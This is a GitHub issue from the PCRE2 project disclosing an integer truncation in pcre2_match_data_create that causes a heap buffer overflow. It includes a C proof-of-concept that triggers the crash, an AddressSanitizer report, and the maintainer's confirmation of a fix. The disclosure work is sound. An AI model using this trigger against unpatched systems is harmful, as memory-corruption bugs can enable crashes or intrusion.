Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

An integer overflow in pcre2_match_data_create #176

Closed
gal1ium opened this issue Dec 12, 2022 · 1 comment
Closed

An integer overflow in pcre2_match_data_create #176

gal1ium opened this issue Dec 12, 2022 · 1 comment

Comments

@gal1ium
Copy link

gal1ium commented Dec 12, 2022

Hi, we seem to see a buffer overflow caused by an unmatch integer type in pcre2_match_data_create, in which (https://github.com/PCRE2Project/pcre2/blob/master/src/pcre2_match_data.c#L60) the oveccount is an uint32 but the yield->oveccount (https://github.com/PCRE2Project/pcre2/blob/master/src/pcre2_match_data.c#L65) is an uint16, so when its value is something like 0x10000, yield->oveccount would be overflowed to 0 and cause some heap buffer overflow later, here is an example:

#include <stdio.h>
#include <stdlib.h>
#define PCRE2_CODE_UNIT_WIDTH 8
#include "pcre2.h"

char* p1 = "}@N\x00";

int main(void)
{
  int errorcode = 0;
  PCRE2_SIZE erroroffset = 0;

  pcre2_general_context * gctx = pcre2_general_context_create(0, 0, 0);
  pcre2_compile_context * cctx = pcre2_compile_context_create(gctx);

  pcre2_code * code1 = pcre2_compile(p1, 4, 0, &errorcode, &erroroffset, cctx);

  if (!code1) return 0;
  pcre2_match_data *data1 = pcre2_match_data_create(0x10000, cctx);
  pcre2_match_context* ctx3 = pcre2_match_context_create(gctx);
  pcre2_match(code1, p1, 4ul, 0, 0, data1, ctx3);
  return 0;
}

And its ASAN report is:

=================================================================
==1855009==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a000005200 at pc 0x000000492e8a bp 0x7fffffffdc70 sp 0x7fffffffd438
READ of size 34359738352 at 0x62a000005200 thread T0
    #0 0x492e89 in __asan_memcpy (~/a.out+0x492e89)
    #1 0x54dcfb in match ~/pcre2/src/pcre2_match.c:887:5
    #2 0x500568 in pcre2_match_8 ~/pcre2/src/pcre2_match.c:7289:8
    #3 0x4c3406 in main ~/a.c:21:3
    #4 0x7ffff7c45082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
    #5 0x41b2fd in _start (~/a.out+0x41b2fd)

0x62a000005200 is located 0 bytes to the right of 20480-byte region [0x62a000000200,0x62a000005200)
allocated by thread T0 here:
    #0 0x493a3d in malloc (~/a.out+0x493a3d)
    #1 0x4fe83d in pcre2_match_8 ~/pcre2/src/pcre2_match.c:6848:28
    #2 0x4c3406 in main ~/a.c:21:3
    #3 0x7ffff7c45082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow (~/a.out+0x492e89) in __asan_memcpy

Could you help us to verify this issue? Thanks!

@PhilipHazel
Copy link
Collaborator

You are quite right. Nice catch. Thank you. As there is no mechanism for returning errors other than malloc() failure from pcre2_match_data_create(), and I don't think any real cases need more than 65535 capturing pairs, I have made pcre2_match_data_create() impose a silent upper limit of 65536. This is just in time for 10.42.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants